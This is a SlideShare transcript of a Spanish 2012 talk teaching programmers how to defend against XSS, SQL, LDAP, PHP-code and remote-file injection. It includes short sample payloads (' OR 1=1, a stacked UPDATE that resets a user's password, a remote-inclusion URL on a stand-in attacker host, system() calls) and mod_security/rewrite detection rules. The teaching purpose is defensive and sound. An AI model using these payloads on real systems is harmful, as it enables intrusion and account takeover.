SlideShare une entreprise Scribd logo
1  sur  52
Télécharger pour lire hors ligne
Prevención ante ataques XSS
     Algunos pequeños consejos para
                    programadores


                       3º Betabeers Córdoba
                    29 de Noviembre de 2012
                      José María Canto Ortiz
Lo que soy
Diplomado en Informática
Analista Programador
Más 12 años de experiencia
Colegiado CPITIA
Ciclista aficionado
Mi experiencia

                                          Autónomo

Programador web ISP local




2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012
¿Qué es XSS?
 Según Wikipedia:
 Cross-site scripting es un tipo de inseguridad
   informática o agujero de seguridad típico de las
   aplicaciones Web, que permite a una tercera
   parte inyectar en páginas Web vistas por el
   usuario código JavaScript o en otro lenguaje
   script similar, evitando las medidas de control.
Se le llamó XSS para no crear confusión con CSS, las hojas de estilo en cascada.

No se pretende hacer apología de este tipo de ataques, sino más bien, intentar
combatirlo con las armas que tiene un programador.
¿Qué es XSS?
 Según Wikipedia:
 Cross-site scripting es un tipo de inseguridad
   informática o agujero de seguridad típico de las
      Un ataque que permite la
   aplicaciones Web, que permite a una tercera
      introducción de código de algún
   parte inyectar en páginas Web vistas por el
   usuario código JavaScriptweb. otro lenguaje
      tipo en una página o en
   script similar, evitando las medidas de control.
Se le llamó XSS para no crear confusión con CSS, las hojas de estilo en cascada.

No se pretende hacer apología de este tipo de ataques, sino más bien, intentar
combatirlo con las armas que tiene un programador.
Posibles puntos de entrada
 Tablones de anuncios
 Libros de visitas
 Foros de discusión
 Formularios de contacto
 Búsquedas
 Parámetros
¿Cómo pueden ocurrir?
 Aumento de la interacción con el usuario.
 No se validan formularios con Javascript.
 Si se hace puede que el atacante tenga Javascript
 desactivado.
 En la parte servidor no se comprueban los parámetros.
 Descuidos a la hora de implementar un formulario.
 Mal planteamiento de determinadas acciones.
Ejemplos
Tipos
    No Persistente                                     Persistente
         (Reflejado)                                   (Almacenado)

Servidor Web                            Servidor Web
            enlace XSS

            respuesta
                                                          respuesta

                              Usuario                                 Usuario




                                          enlace XSS
                          S
                      e XS
                  c
            e nla




 Atacante                                Atacante
Modalidades
    Inyección de HTML
    Inyección de SQL
    Inclusión remota de ficheros (RFI)
    Inyección de Código php
    Cross Frame Scripting (XFS)
    Inyección de LDAP
    XST (Cross Site Tracing)
…
Inyección de HTML
 Utiliza Javascript y las propiedades del DOM.
 Incluye o manipula código HTML dentro de una página
 web.
 Obtener información del usuario.
Inyección de HTML
Ejemplo 1
Inyección de HTML
Ejemplo 1


                    Ahí es dónde se muestra el
                    texto indicado en el campo
                    del formulario y que hace
                    que se ejecute.
Inyección de HTML
Ejemplo 1


                    Ahí es dónde se muestra el
                    texto indicado en el campo
                    del formulario y que hace
                    que se ejecute.




                              En el caso que se
                              almacenara en una Base
                              de datos (Ej: en un foro),
                              se estaría “mostrando”
                              cada vez que se entrara al
                              mismo.
Inyección de HTML
Ejemplo 2
Inyección de HTML
Ejemplo 3




  Se podría considerar este ejemplo como un ataque de Cross Frame
  Scripting (XFS) aparte de la inyección de HTML.
Inyección de SQL
  Introduce dentro de una sentencia SQL que espera un
  valor, otra no esperada.
  Intenta obtener/manipular o destruir información del
  servidor (base de datos).
  No es exclusivo de un lenguaje de programación, puede
  ocurrir en todos.
Posibles Sentencias de entrada:
   ';
   1' OR 1=1
   ' OR ''= '
   …
Inyección de SQL
Ejemplo de sentencias:
  SELECT titulo,descripcion FROM libro WHERE codigo=1 OR 1=1;
  SELECT clave FROM cliente WHERE usuario=‘mortadelo’;

                                              Puede Ir probando
                                              usuarios hasta que
                                              obtenga uno que
                                              no cause un error y
                                              sabrá que ese
                                              existe para
                                              intentar colarse
                                              dentro.
 SELECT titulo,descripcion FROM libro WHERE
 codigo=1 OR 1=1; UPDATE cliente SET
 clave=‘ahoraentroyo’ WHERE                   Cambia la clave al
 usuario=‘mortadelo’;                         usuario y ya puede
                                              entrar al sistema
Inyección de SQL
Ejemplo de sentencias:
  SELECT titulo,descripcion FROM libro WHERE codigo=1 OR 1=1;
  SELECT clave FROM cliente WHERE usuario=‘mortadelo’;

    Como ocurre:                              Puede Ir probando
                                              usuarios hasta que
                                              obtenga uno que
                                              no cause un error y
                                              sabrá que ese
                                              existe para
                                              intentar colarse
                                              dentro.
 SELECT titulo,descripcion FROM libro WHERE
 codigo=1 OR 1=1; UPDATE cliente SET
 clave=‘ahoraentroyo’ WHERE                   Cambia la clave al
 usuario=‘mortadelo’;                         usuario y ya puede
                                              entrar al sistema
Inclusión remota de ficheros
 Conocido normalmente como RFI (Remote File
 Inclusion)
 Ejecuta código en el lado del servidor que está incluido
 en un fichero externo.
 Sólo ocurre en php.
 Uso incorrecto de las funciones:
  require()
  require_one()
  include()
  include_once()
  system()
  …
Inclusión remota de ficheros
Ejemplo:
Si tuviéramos algo así en el código:   Si se le pasa como parámetro esto:
                                       ls –l > ./listado.txt
                                       Podría generar el fichero indicado
                                       conteniendo la estructura de
                                       directorios del web.
O por ejemplo:

                                       Si se le pasa como parámetro algo como
                                       esto:
                                       http://webdelatacante/scriptdellio


Luego veremos que esto ya no suele ser así.
Inyección de código php
  Inyecta código personalizado en el lado del motor de
  secuencias de comandos del servidor.
  Se aprovecha de la función eval().
  eval() ejecuta el argumento como código.

eval($codigo):
  evalua el código que se le facilita -$codigo- como
  código php.
Precaución: El constructor de lenguaje eval() es muy peligroso porque permite la
ejecución de código de PHP arbitrario. Su uso está totalmente desaconsejado. Si
se ha verificado cuidadosamente que no existe otra opción que usar este
constructor, se ha de poner especial atención en no pasar ninguna información
proporcionada por el usuario a esta función sin haberla validado apropiadamente
con anterioridad.
Fuente: Manual php
Inyección de código php
Ejemplo:

                                     Si se le pasa como parámetro esto:
                                     1;phpinfo(); ó phpinfo()
                                     Podría mostrar la configuración de
                                     php.
                                     Y es un indicio para poder realizar
                                     cualquier otro intento de ataque,
 Ahora se le pasa como parámetro     bien con system() u otras
 esto:                               funciones.
 system("/bin/echo hola, holita");
 Y nos mostrará en pantalla ese
 texto.
Cross Frame Scripting (XFS)
 Afecta a webs que usan marcos (frames)
 El atacante induce al usuario a navegar a una página
 web que el atacante controla; y roba los datos de
 acceso.
 Se usa para describir un ataque que hace uso de un
 frame.
Cross Frame Scripting (XFS)
Ejemplo
Inyección LDAP
 Se basa en técnicas similares a la inyección SQL.
 Atacante puede aprovechar el fallo para poder
 inyectar código y cambiar el resultado que se obtiene
 con el filtro.
 No es exclusivo de un lenguaje de programación, puede
 ocurrir en todos.
Inyección LDAP
Ejemplo:
  Filtro normal para verificar un usuario y clave en un servidor LDAP

                (&(USER=usuario)(PASSWORD=clave))

  Si el atacante conoce un usuario real (Ej: jmcanto), se podría
  indicar en el campo usuario: jmcanto)(&)), con lo cual la inyección
  sería:

            (&(USER= jmcanto)(&)))(PASSWORD=clave))

Solamente se procesa el 1º filtro.
La consulta siempre es cierta.
Se accede a los recursos y documentos del mencionado usuario.
Cross Site Tracing (XST)
  Se aprovecha del método TRACE de HTTP.
  Puede ser útil para saltarse protección para acceder a
  cookies desde el lado del cliente, si el navegador lo
  permite.

  Trace permite de una manera fácil, ver lo que el cliente HTTP
  envía y lo que el servidor recibe.
                                   Al probar este código, en cualquier
                                   navegador moderno, dará un error
                                   (NS_ERROR_ILLEGAL_VALUE en FF).
                                   Para probarlo hay que hacerlo en
                                   un navegador versión <=IE6.

                                    No obstante
Se recomienda su desactivación.
Algunos consejos
Errores personalizados
  No dar pistas sobre el error ocurrido
                  php




                ASP.NET
Inclusión de ficheros
 Evitar en la medida de lo posible la inclusión de
 ficheros pasados como parámetros.
 Si se tiene que hacer:
     Se debe comprobar que exista el fichero.
     Se podría pasar como parámetro solo el nombre sin
     extensión.
Validaciones en Javascript
 Barrera inicial
 Puede que desistan en el caso de no tener
 conocimientos más amplios
     • Inconveniente: se puede desactivar fácilmente
Control de entradas (I)
Expresiones regulares
 Se puede controlar los parámetros/campos de forma
 rápida y sencilla.
Ejemplos:
  [ -~]: todos los caracteres Ascii desde el espacio hasta ~
  [^0-9]: no sean números
  [0-9]: números
  [a-z]: letras en minúscula
  [A-Z]: caracteres en mayúscula
  [0-9]{2}/[0-9]{2}/[0-9]{4}: fecha
  [1-9]{1,3}.[0-9] {1,3}.[0-9] {1,3}.[0-9] {1,3}: Dirección IP
  …
Control de entradas (I)
Expresiones regulares
Ejemplos utilización:

                        php
Control de entradas (I)
Expresiones regulares
Ejemplos utilización:

                        ASP.NET
Control de entradas (II)
Funciones
   Usar las del lenguaje
             php                              ASP.NET
htmlentities
                                  IsDate (Visual Basic)
htmlspecialchar
mysql_real_escape_string(MySQL)   IsNumeric (Visual Basic)
real_escape_string (mysqli)
                                  Regex.IsMatch
addslashes
stripslashes                      Regex.Replace
preg_replace
                                  …
…
Control de entradas (II)
Funciones
  Implementar nuestras propias funciones
                     php
Control de entradas (II)
Funciones
  Implementar nuestras propias funciones
                   ASP.NET
Formularios
Captcha
   – Inconveniente: mala visibilidad



Preguntas aleatorias
   – Inconveniente: puede que se necesite un número grande de preguntas
     para que no lleguen a repetirse.
Aceptación de la política de privacidad o similares
Bases de datos
 Utilización de procedimientos almacenados con
 parámetros.
 Utilizar funciones para controlar las cadenas.
 Usar varios usuarios para acceder a la base de datos.
     uno para operaciones de escritura
     otro para operaciones de lectura
 No crear nunca instrucciones SQL directamente a partir
 de datos indicados por el usuario.
Procedencia
Comprobar de dónde viene el formulario

           php                       ASP.NET




Inconvenientes:
Puede que no esté activo
Se puede falsificar
Otras configuraciones
php.ini
  register_globals off: desactiva esta directiva ya que permite
  aceptar parámetros $_GET y $_POST como variables.
  Ej: $_POST[‘nombre’] -> $nombre
  allow_furl_open off: al desactivarla no se permite la inclusión de
  ficheros remotos.
  safe_mode on: restringe el uso de ejecutables.
  openbase_dir ruta: limita la ejecución a la ruta indicada.
  disable_functions <lista_funciones>: no permite la utilización de
  las funciones indicadas.
  disable_classes <lista_clases>: no permite el uso de las clases.
Otras configuraciones
.htaccess
  SetEnv REGISTER_GLOBALS 0

  Desactivar TRACE de HTTP
     RewriteEngine on
     RewriteCond %{REQUEST_METHOD} ^TRACE
     RewriteRule .* – [F]

   Módulos Apache
     mod_rewrite: módulo de manipulación de URLs
      Ej: RewriteCond %{QUERY_STRING} drop.+procedure [NC,OR]
      …

     mod_security: módulo de seguridad para Apache
      Ej: SecFilterSelective ARGS "drop[[:space:]]+procedure"
Otras configuraciones
.htaccess
  SetEnv REGISTER_GLOBALS 0

  Desactivar TRACE de HTTP
      RewriteEngine on
  Antes de recargar%{REQUEST_METHOD}ó^TRACE
      RewriteCond el fichero .htaccess el httpd.conf con muchas
  instrucciones de este[F]
      RewriteRule .* – tipo, habría que evaluar si realmente merece
  la pena bajar la velocidad de ejecución del web al introducirlas,
  cuando quizás se pueda realizar todo esto por código
    Módulos Apache
  implementando algunas validaciones.
     mod_rewrite: módulo de manipulación de URLs
       Ej: RewriteCond %{QUERY_STRING} drop.+procedure [NC,OR]
       …

     mod_security: módulo de seguridad para Apache
       Ej: SecFilterSelective ARGS "drop[[:space:]]+procedure"
¿Preguntas?
¡Muchas Gracias!
    @jmcanto_km1
    www.linkedin.com/in/josemariacantoortiz
@   jmcanto@km1desarrollos.com

Contenu connexe

Tendances

Lenguajes de programación orientados a objetos
Lenguajes de programación orientados a objetosLenguajes de programación orientados a objetos
Lenguajes de programación orientados a objetosDoris Aguagallo
 
¿Cómo mantener tu javascript?: Buenas prácticas
¿Cómo mantener tu javascript?: Buenas prácticas¿Cómo mantener tu javascript?: Buenas prácticas
¿Cómo mantener tu javascript?: Buenas prácticasjaespinmora
 
Archivos java
Archivos javaArchivos java
Archivos javatazmania2
 
Introducción a shell script
Introducción a shell scriptIntroducción a shell script
Introducción a shell scriptPablo Macon
 
Tutorial Java Script
Tutorial Java ScriptTutorial Java Script
Tutorial Java Scriptsemuvi
 
Cuestionario
CuestionarioCuestionario
Cuestionariojpauly4
 
Quasi - scripts-linux
Quasi - scripts-linuxQuasi - scripts-linux
Quasi - scripts-linuxdegarden
 
P2 actividades 2 y 3 infografía palabras reservadas
P2 actividades 2 y 3 infografía  palabras reservadasP2 actividades 2 y 3 infografía  palabras reservadas
P2 actividades 2 y 3 infografía palabras reservadasErick Ramirez
 
Visual basic
Visual basicVisual basic
Visual basicmellcv
 

Tendances (14)

Lenguajes de programación orientados a objetos
Lenguajes de programación orientados a objetosLenguajes de programación orientados a objetos
Lenguajes de programación orientados a objetos
 
Clase 10 expresiones regulares
Clase 10 expresiones regularesClase 10 expresiones regulares
Clase 10 expresiones regulares
 
Tarea 3
Tarea 3Tarea 3
Tarea 3
 
¿Cómo mantener tu javascript?: Buenas prácticas
¿Cómo mantener tu javascript?: Buenas prácticas¿Cómo mantener tu javascript?: Buenas prácticas
¿Cómo mantener tu javascript?: Buenas prácticas
 
Archivos java
Archivos javaArchivos java
Archivos java
 
Introducción a shell script
Introducción a shell scriptIntroducción a shell script
Introducción a shell script
 
Tutorial Java Script
Tutorial Java ScriptTutorial Java Script
Tutorial Java Script
 
Cuestionario
CuestionarioCuestionario
Cuestionario
 
Quasi - scripts-linux
Quasi - scripts-linuxQuasi - scripts-linux
Quasi - scripts-linux
 
Grupo1
Grupo1Grupo1
Grupo1
 
P2 actividades 2 y 3 infografía palabras reservadas
P2 actividades 2 y 3 infografía  palabras reservadasP2 actividades 2 y 3 infografía  palabras reservadas
P2 actividades 2 y 3 infografía palabras reservadas
 
Guia JavaScript INCES Militar - Kurt Gude
Guia JavaScript INCES Militar - Kurt GudeGuia JavaScript INCES Militar - Kurt Gude
Guia JavaScript INCES Militar - Kurt Gude
 
Ppt java
Ppt javaPpt java
Ppt java
 
Visual basic
Visual basicVisual basic
Visual basic
 

En vedette

Copia De Mi NiñA Bonita
Copia De Mi NiñA BonitaCopia De Mi NiñA Bonita
Copia De Mi NiñA Bonitaamezola
 
Handout LinkedIn-Workshop_2016-09-10
Handout LinkedIn-Workshop_2016-09-10Handout LinkedIn-Workshop_2016-09-10
Handout LinkedIn-Workshop_2016-09-10Denise Mändli
 
Colegio césar antonio mosquera jefferson alexander
Colegio césar antonio mosquera jefferson alexanderColegio césar antonio mosquera jefferson alexander
Colegio césar antonio mosquera jefferson alexandermonina
 
EURUS 2016 Programme Book
EURUS 2016 Programme BookEURUS 2016 Programme Book
EURUS 2016 Programme BookAlida Kara
 
Eduketing 2015 - Fideliza a tus alumnos con el email marketing - Ana Moreno
Eduketing 2015 - Fideliza a tus alumnos con el email marketing - Ana MorenoEduketing 2015 - Fideliza a tus alumnos con el email marketing - Ana Moreno
Eduketing 2015 - Fideliza a tus alumnos con el email marketing - Ana MorenoEDUKETING
 
Life in Estonia (Summer 2012 issue)
Life in Estonia (Summer 2012 issue)Life in Estonia (Summer 2012 issue)
Life in Estonia (Summer 2012 issue)Martin Koch
 
Tarifa Ferroli 2015. AhorraClima.es
Tarifa Ferroli 2015. AhorraClima.esTarifa Ferroli 2015. AhorraClima.es
Tarifa Ferroli 2015. AhorraClima.esAhorraClima.es
 
Alicia kirschbaum jesica murray marcelo arnosio romina tonda y lucía cacciabue
Alicia kirschbaum jesica murray marcelo arnosio romina tonda y lucía cacciabueAlicia kirschbaum jesica murray marcelo arnosio romina tonda y lucía cacciabue
Alicia kirschbaum jesica murray marcelo arnosio romina tonda y lucía cacciabueAri Txiletik
 
Ad pr syllabus_2014-15
Ad pr syllabus_2014-15Ad pr syllabus_2014-15
Ad pr syllabus_2014-15kislaygaurav
 
ABC 23.10.1974 La inclusa de Madrid
ABC 23.10.1974 La inclusa de MadridABC 23.10.1974 La inclusa de Madrid
ABC 23.10.1974 La inclusa de MadridEuriaBilbao
 
Las máscaras que usamos. sesión 3. senescyt pptx
Las máscaras que usamos. sesión 3. senescyt pptxLas máscaras que usamos. sesión 3. senescyt pptx
Las máscaras que usamos. sesión 3. senescyt pptxDaniel Naranjo
 
Consejos de-emprendedores-a-iniciadores
Consejos de-emprendedores-a-iniciadoresConsejos de-emprendedores-a-iniciadores
Consejos de-emprendedores-a-iniciadoresJessica Villegas
 
Curso de ortografia
Curso de ortografiaCurso de ortografia
Curso de ortografiaAndrea Reyes
 
Irma Grese el angel de muerte
Irma Grese el angel de muerteIrma Grese el angel de muerte
Irma Grese el angel de muerteMariela Gómez
 
PowerPoint Slides from NanoMarkets Report on Medical Ceramics
PowerPoint Slides from NanoMarkets Report on Medical CeramicsPowerPoint Slides from NanoMarkets Report on Medical Ceramics
PowerPoint Slides from NanoMarkets Report on Medical Ceramicsn-tech Research
 
Doc71 esc. 04 11-14 carlos figueiredo r. apelación contra la sentencia
Doc71 esc. 04 11-14 carlos figueiredo r. apelación contra la sentenciaDoc71 esc. 04 11-14 carlos figueiredo r. apelación contra la sentencia
Doc71 esc. 04 11-14 carlos figueiredo r. apelación contra la sentenciafaralami
 
Ch. 20 Sec. 2 Immigration And Modern Urban Growth
Ch. 20 Sec. 2 Immigration And Modern Urban GrowthCh. 20 Sec. 2 Immigration And Modern Urban Growth
Ch. 20 Sec. 2 Immigration And Modern Urban GrowthKennet Santana
 

En vedette (20)

Copia De Mi NiñA Bonita
Copia De Mi NiñA BonitaCopia De Mi NiñA Bonita
Copia De Mi NiñA Bonita
 
Handout LinkedIn-Workshop_2016-09-10
Handout LinkedIn-Workshop_2016-09-10Handout LinkedIn-Workshop_2016-09-10
Handout LinkedIn-Workshop_2016-09-10
 
Colegio césar antonio mosquera jefferson alexander
Colegio césar antonio mosquera jefferson alexanderColegio césar antonio mosquera jefferson alexander
Colegio césar antonio mosquera jefferson alexander
 
EURUS 2016 Programme Book
EURUS 2016 Programme BookEURUS 2016 Programme Book
EURUS 2016 Programme Book
 
Eduketing 2015 - Fideliza a tus alumnos con el email marketing - Ana Moreno
Eduketing 2015 - Fideliza a tus alumnos con el email marketing - Ana MorenoEduketing 2015 - Fideliza a tus alumnos con el email marketing - Ana Moreno
Eduketing 2015 - Fideliza a tus alumnos con el email marketing - Ana Moreno
 
Life in Estonia (Summer 2012 issue)
Life in Estonia (Summer 2012 issue)Life in Estonia (Summer 2012 issue)
Life in Estonia (Summer 2012 issue)
 
GuaGua presentation
GuaGua presentation GuaGua presentation
GuaGua presentation
 
Tarifa Ferroli 2015. AhorraClima.es
Tarifa Ferroli 2015. AhorraClima.esTarifa Ferroli 2015. AhorraClima.es
Tarifa Ferroli 2015. AhorraClima.es
 
Alicia kirschbaum jesica murray marcelo arnosio romina tonda y lucía cacciabue
Alicia kirschbaum jesica murray marcelo arnosio romina tonda y lucía cacciabueAlicia kirschbaum jesica murray marcelo arnosio romina tonda y lucía cacciabue
Alicia kirschbaum jesica murray marcelo arnosio romina tonda y lucía cacciabue
 
Ad pr syllabus_2014-15
Ad pr syllabus_2014-15Ad pr syllabus_2014-15
Ad pr syllabus_2014-15
 
ABC 23.10.1974 La inclusa de Madrid
ABC 23.10.1974 La inclusa de MadridABC 23.10.1974 La inclusa de Madrid
ABC 23.10.1974 La inclusa de Madrid
 
Pat 07-009
Pat 07-009Pat 07-009
Pat 07-009
 
Cumple 65 de rosa mari
Cumple 65 de rosa mariCumple 65 de rosa mari
Cumple 65 de rosa mari
 
Las máscaras que usamos. sesión 3. senescyt pptx
Las máscaras que usamos. sesión 3. senescyt pptxLas máscaras que usamos. sesión 3. senescyt pptx
Las máscaras que usamos. sesión 3. senescyt pptx
 
Consejos de-emprendedores-a-iniciadores
Consejos de-emprendedores-a-iniciadoresConsejos de-emprendedores-a-iniciadores
Consejos de-emprendedores-a-iniciadores
 
Curso de ortografia
Curso de ortografiaCurso de ortografia
Curso de ortografia
 
Irma Grese el angel de muerte
Irma Grese el angel de muerteIrma Grese el angel de muerte
Irma Grese el angel de muerte
 
PowerPoint Slides from NanoMarkets Report on Medical Ceramics
PowerPoint Slides from NanoMarkets Report on Medical CeramicsPowerPoint Slides from NanoMarkets Report on Medical Ceramics
PowerPoint Slides from NanoMarkets Report on Medical Ceramics
 
Doc71 esc. 04 11-14 carlos figueiredo r. apelación contra la sentencia
Doc71 esc. 04 11-14 carlos figueiredo r. apelación contra la sentenciaDoc71 esc. 04 11-14 carlos figueiredo r. apelación contra la sentencia
Doc71 esc. 04 11-14 carlos figueiredo r. apelación contra la sentencia
 
Ch. 20 Sec. 2 Immigration And Modern Urban Growth
Ch. 20 Sec. 2 Immigration And Modern Urban GrowthCh. 20 Sec. 2 Immigration And Modern Urban Growth
Ch. 20 Sec. 2 Immigration And Modern Urban Growth
 

Similaire à Prevencion ante ataques XSS - Betabeers Córdoba (29/11/2012)

Racciatti Html Scripting Attacks
Racciatti Html Scripting AttacksRacciatti Html Scripting Attacks
Racciatti Html Scripting AttacksCristian Borghello
 
Art hack web-v1-4
Art hack web-v1-4Art hack web-v1-4
Art hack web-v1-4esmartcrimt
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securityseguridadelinux
 
Vulnerabilidades del Software
Vulnerabilidades del SoftwareVulnerabilidades del Software
Vulnerabilidades del Softwarelechosopowers
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sqljhom123
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)kernelinux
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones webJose Mato
 
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]RootedCON
 
Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1Tensor
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0José Moreno
 

Similaire à Prevencion ante ataques XSS - Betabeers Córdoba (29/11/2012) (20)

WebAttack - Presentación
WebAttack - PresentaciónWebAttack - Presentación
WebAttack - Presentación
 
Racciatti Html Scripting Attacks
Racciatti Html Scripting AttacksRacciatti Html Scripting Attacks
Racciatti Html Scripting Attacks
 
Art hack web-v1-4
Art hack web-v1-4Art hack web-v1-4
Art hack web-v1-4
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_security
 
Vulnerabilidades del Software
Vulnerabilidades del SoftwareVulnerabilidades del Software
Vulnerabilidades del Software
 
Web app attacks
Web app attacksWeb app attacks
Web app attacks
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sql
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
 
Inyecciones SQL
Inyecciones SQLInyecciones SQL
Inyecciones SQL
 
Que es xss
Que es xssQue es xss
Que es xss
 
Unidad5actividdad1
Unidad5actividdad1Unidad5actividdad1
Unidad5actividdad1
 
Xss a fondo
Xss a fondoXss a fondo
Xss a fondo
 
Xss con javascript
Xss con javascriptXss con javascript
Xss con javascript
 
Guia herramientas de bd
Guia herramientas de bdGuia herramientas de bd
Guia herramientas de bd
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones web
 
Manual Basico de jQuery
Manual Basico de jQueryManual Basico de jQuery
Manual Basico de jQuery
 
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
 
Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0
 
Apli t1 ejr
Apli t1 ejrApli t1 ejr
Apli t1 ejr
 

Plus de betabeers

IONIC, el framework para crear aplicaciones híbridas multiplataforma
IONIC, el framework para crear aplicaciones híbridas multiplataformaIONIC, el framework para crear aplicaciones híbridas multiplataforma
IONIC, el framework para crear aplicaciones híbridas multiplataformabetabeers
 
Servicios de Gestión de Datos en la Nube - Jaime Balañá (NetApp)
Servicios de Gestión de Datos en la Nube - Jaime Balañá (NetApp)Servicios de Gestión de Datos en la Nube - Jaime Balañá (NetApp)
Servicios de Gestión de Datos en la Nube - Jaime Balañá (NetApp)betabeers
 
Blockchain: la revolución industrial de internet - Oscar Lage
Blockchain: la revolución industrial de internet - Oscar LageBlockchain: la revolución industrial de internet - Oscar Lage
Blockchain: la revolución industrial de internet - Oscar Lagebetabeers
 
Cloud Learning: la formación del siglo XXI - Mónica Mediavilla
Cloud Learning: la formación del siglo XXI - Mónica MediavillaCloud Learning: la formación del siglo XXI - Mónica Mediavilla
Cloud Learning: la formación del siglo XXI - Mónica Mediavillabetabeers
 
Desarrollo web en Nodejs con Pillars por Chelo Quilón
Desarrollo web en Nodejs con Pillars por Chelo QuilónDesarrollo web en Nodejs con Pillars por Chelo Quilón
Desarrollo web en Nodejs con Pillars por Chelo Quilónbetabeers
 
La línea recta hacia el éxito - Jon Torrado - Betabeers Bilbao
La línea recta hacia el éxito -  Jon Torrado - Betabeers BilbaoLa línea recta hacia el éxito -  Jon Torrado - Betabeers Bilbao
La línea recta hacia el éxito - Jon Torrado - Betabeers Bilbaobetabeers
 
6 errores a evitar si eres una startup móvil y quieres evolucionar tu app
6 errores a evitar si eres una startup móvil y quieres evolucionar tu app6 errores a evitar si eres una startup móvil y quieres evolucionar tu app
6 errores a evitar si eres una startup móvil y quieres evolucionar tu appbetabeers
 
Dev ops.continuous delivery - Ibon Landa (Plain Concepts)
Dev ops.continuous delivery - Ibon Landa (Plain Concepts)Dev ops.continuous delivery - Ibon Landa (Plain Concepts)
Dev ops.continuous delivery - Ibon Landa (Plain Concepts)betabeers
 
Introducción a scrum - Rodrigo Corral (Plain Concepts)
Introducción a scrum - Rodrigo Corral (Plain Concepts)Introducción a scrum - Rodrigo Corral (Plain Concepts)
Introducción a scrum - Rodrigo Corral (Plain Concepts)betabeers
 
Gestión de proyectos y consorcios internacionales - Iñigo Cañadas (GFI)
Gestión de proyectos y consorcios internacionales - Iñigo Cañadas (GFI)Gestión de proyectos y consorcios internacionales - Iñigo Cañadas (GFI)
Gestión de proyectos y consorcios internacionales - Iñigo Cañadas (GFI)betabeers
 
Software de gestión Open Source - Odoo - Bakartxo Aristegi (Aizean)
Software de gestión Open Source - Odoo - Bakartxo Aristegi (Aizean)Software de gestión Open Source - Odoo - Bakartxo Aristegi (Aizean)
Software de gestión Open Source - Odoo - Bakartxo Aristegi (Aizean)betabeers
 
Elemental, querido Watson - Caso de Uso
Elemental, querido Watson - Caso de UsoElemental, querido Watson - Caso de Uso
Elemental, querido Watson - Caso de Usobetabeers
 
Seguridad en tu startup
Seguridad en tu startupSeguridad en tu startup
Seguridad en tu startupbetabeers
 
Spark Java: Aplicaciones web ligeras y rápidas con Java, por Fran Paredes.
Spark Java: Aplicaciones web ligeras y rápidas con Java, por Fran Paredes.Spark Java: Aplicaciones web ligeras y rápidas con Java, por Fran Paredes.
Spark Java: Aplicaciones web ligeras y rápidas con Java, por Fran Paredes.betabeers
 
Buenas prácticas para la optimización web
Buenas prácticas para la optimización webBuenas prácticas para la optimización web
Buenas prácticas para la optimización webbetabeers
 
La magia de Scrum
La magia de ScrumLa magia de Scrum
La magia de Scrumbetabeers
 
Programador++ por @wottam
Programador++ por @wottamProgramador++ por @wottam
Programador++ por @wottambetabeers
 
RaspberryPi: Tu dispositivo para IoT
RaspberryPi: Tu dispositivo para IoTRaspberryPi: Tu dispositivo para IoT
RaspberryPi: Tu dispositivo para IoTbetabeers
 
Introducción al Big Data - Xabier Tranche - VIII Betabeers Bilbao 27/02/2015
 Introducción al Big Data - Xabier Tranche  - VIII Betabeers Bilbao 27/02/2015 Introducción al Big Data - Xabier Tranche  - VIII Betabeers Bilbao 27/02/2015
Introducción al Big Data - Xabier Tranche - VIII Betabeers Bilbao 27/02/2015betabeers
 
PAYTPV Plataforma Integral de Cobros - VIII Betabeers Bilbao 27/02/2015
PAYTPV Plataforma Integral de Cobros - VIII Betabeers Bilbao 27/02/2015PAYTPV Plataforma Integral de Cobros - VIII Betabeers Bilbao 27/02/2015
PAYTPV Plataforma Integral de Cobros - VIII Betabeers Bilbao 27/02/2015betabeers
 

Plus de betabeers (20)

IONIC, el framework para crear aplicaciones híbridas multiplataforma
IONIC, el framework para crear aplicaciones híbridas multiplataformaIONIC, el framework para crear aplicaciones híbridas multiplataforma
IONIC, el framework para crear aplicaciones híbridas multiplataforma
 
Servicios de Gestión de Datos en la Nube - Jaime Balañá (NetApp)
Servicios de Gestión de Datos en la Nube - Jaime Balañá (NetApp)Servicios de Gestión de Datos en la Nube - Jaime Balañá (NetApp)
Servicios de Gestión de Datos en la Nube - Jaime Balañá (NetApp)
 
